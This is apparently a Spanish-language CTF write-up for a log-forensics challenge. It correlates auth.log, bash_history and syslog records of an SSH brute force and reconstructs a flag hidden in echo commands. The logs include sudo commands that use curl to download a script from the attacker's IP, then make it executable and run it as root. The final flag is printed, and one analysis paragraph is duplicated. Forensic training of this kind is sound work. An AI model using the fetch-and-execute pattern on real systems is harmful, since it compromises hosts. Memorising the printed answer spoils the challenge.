

Team SOC

El reto proporciona un archivo comprimido que contiene varios logs de un sistema Linux, entre ellos:

auth.log

bash_history

syslog

No se entrega ninguna flag directamente, por lo que es evidente que el objetivo es analizar y correlacionar logs para reconstruir información oculta.

El primer paso consiste en revisar el archivo auth.log para identificar el usuario involucrado y el intervalo de tiempo sospechoso.

```
86 Nov 12 01:29:49 server sshd[980]: Failed password for student from 185.231.18.44 port 51200 ssh2
87 Nov 12 01:30:04 server sshd[980]: Failed password for student from 185.231.18.44 port 51201 ssh2
88 Nov 12 01:30:13 server sshd[980]: Failed password for student from 185.231.18.44 port 51202 ssh2
89 Nov 12 01:30:23 server sshd[980]: Failed password for student from 185.231.18.44 port 51203 ssh2
90 Nov 12 01:30:37 server sshd[980]: Failed password for student from 185.231.18.44 port 51204 ssh2
91 Nov 12 01:30:49 server sshd[980]: Failed password for student from 185.231.18.44 port 51205 ssh2
92 Nov 12 01:31:04 server sshd[980]: Failed password for student from 185.231.18.44 port 51206 ssh2
93 Nov 12 01:31:19 server sshd[980]: Failed password for student from 185.231.18.44 port 51207 ssh2
94 Nov 12 01:31:30 server sshd[980]: Failed password for student from 185.231.18.44 port 51208 ssh2
95 Nov 12 01:31:42 server sshd[980]: Failed password for student from 185.231.18.44 port 51209 ssh2
96 Nov 12 01:31:51 server sshd[980]: Failed password for student from 185.231.18.44 port 51210 ssh2
97 Nov 12 01:32:03 server sshd[980]: Failed password for student from 185.231.18.44 port 51211 ssh2
98 Nov 12 01:32:12 server sshd[980]: Accepted password for student from 185.231.18.44 port 51250 ssh2
99 Nov 12 01:32:12 server sshd[980]: pam_unix(sshd:session): session opened for user student(uid=1001)
100 Nov 12 01:32:14 server systemd-logind[721]: New session 9 of user student.
101 Nov 12 01:34:12 server sudo:    student : TTY=pts/1 ; PWD=/home/student ; USER=root ; COMMAND=/usr/bin/apt update
102 Nov 12 01:34:45 server sudo:    student : TTY=pts/1 ; PWD=/home/student ; USER=root ; COMMAND=/usr/bin/apt install
   -y curl
103 Nov 12 01:35:18 server sudo:    student : TTY=pts/1 ; PWD=/home/student ; USER=root ; COMMAND=/usr/bin/curl -fsSL
   http://185.231.18.44/patch_v2.sh -o /tmp/patch_v2.sh
104 Nov 12 01:35:51 server sudo:    student : TTY=pts/1 ; PWD=/home/student ; USER=root ; COMMAND=/usr/bin/chmod +x /
   tmp/patch_v2.sh
105 Nov 12 01:36:24 server sudo:    student : TTY=pts/1 ; PWD=/home/student ; USER=root ; COMMAND=/usr/bin/bash /tmp/
   patch_v2.sh --quiet
106 Nov 12 01:36:57 server sudo:    student : TTY=pts/1 ; PWD=/home/student ; USER=root ; COMMAND=/usr/bin/apt install
   -y net-tools
107 Nov 12 01:37:30 server sudo:    student : TTY=pts/1 ; PWD=/home/student ; USER=root ; COMMAND=/usr/bin/ss -lntp
108 Nov 12 01:38:03 server sudo:    student : TTY=pts/1 ; PWD=/home/student ; USER=root ; COMMAND=/usr/bin/grep -R
   "PermitRootLogin" /etc/ssh/sshd_config
109 Nov 12 01:38:36 server sudo:    student : TTY=pts/1 ; PWD=/home/student ; USER=root ; COMMAND=/usr/bin/ls -la /tmp
110 Nov 12 01:42:12 server CRON[1200]: (root) CMD (run-parts /etc/cron.hourly)
111 Nov 12 01:42:29 server CRON[1201]: (root) CMD (run-parts /etc/cron.hourly)
112 Nov 12 01:42:46 server CRON[1202]: (root) CMD (run-parts /etc/cron.hourly)
```

Tras múltiples intentos fallidos, se observa un acceso exitoso al sistema utilizando el usuario *student*, confirmando el compromiso de la cuenta. Poco después del inicio de sesión, el usuario ejecuta comandos con privilegios elevados, incluyendo la descarga y ejecución de un script externo, lo que marca el inicio de la actividad sospechosa.

El archivo bash_history revela que, tras acceder al sistema, el atacante realizó una fase de reconocimiento básico y posteriormente ejecutó un script descargado desde una fuente

externa. Se identifica la creación de un archivo oculto en /tmp donde se escriben fragmentos de texto de forma progresiva mediante múltiples comandos echo. Estos fragmentos, al ser concatenados en el orden correcto, forman parte de la flag.

```
87 touch .cache
88 echo "# temp cache" >> .cache
89 echo FIS >> .cache
90 sleep 1
91 echo "{" >> .cache # decoy brace
92 echo {4ct1 >> .cache
93 echo "noise" >> .cache
94 cd /var/tmp
95 echo VIDAd_ >> /tmp/.cache
96 cd /tmp
97 echo "—" >> .cache
98 sleep 2
99 echo zOSp3 >> .cache
100 echo "audit" >> .cache
101 last n 3
```

Al analizar el archivo syslog, se identifican registros de auditoría del kernel que muestran la ejecución de un comando echo en el directorio /tmp.

Este comando escribe el fragmento ChoZa} dentro del archivo .cache. Dicho comando no aparece en el archivo bash_history, lo que indica que la reconstrucción de la flag no puede realizarse únicamente con el historial de la shell y requiere la correlación con otros logs del sistema.

```
16 Nov 12 01:41:45 server NetworkManager[715]: Started service event id=115
17 Nov 12 01:42:12 server ufw[716]: Started service event id=116
18 Nov 12 01:42:39 server rsyslogd[717]: Started service event id=117
19 Nov 12 01:42:36 server kernel: [ 1018.000] audit: type=1400 audit(1762911786.123:78): apparmor="STATUS" operation="profile_load" profile="unconfined" name="snap.update-notifier" pid=1 comm="apparmor_parser"
20 Nov 12 01:43:06 server kernel: audit: type=1300 audit(1762911790.122:162): cwd="/tmp"
21 Nov 12 01:43:10 server kernel: audit: type=1307 audit(1762911791.881:163): exe="/usr/bin/echo" cmdline="echo ChoZa} >> .cache"
22 Nov 12 01:43:12 server kernel: audit: type=1300 audit(1762911792.101:164): cwd="/tmp"
23 Nov 12 01:43:33 server dockerd[903]: time="2025-11-12T01:43:33" level=info msg="Container started" container=cifd-web
```

Al analizar el archivo syslog, se identifican registros de auditoría del kernel que muestran la ejecución de un comando echo en el directorio /tmp.

Este comando escribe el fragmento ChoZa} dentro del archivo .cache. Dicho comando no aparece en el archivo bash_history, lo que indica que la reconstrucción de la flag no puede realizarse únicamente con el historial de la shell y requiere la correlación con otros logs del sistema.

FIS{4ct1VIDAd_zOSp3ChoZa}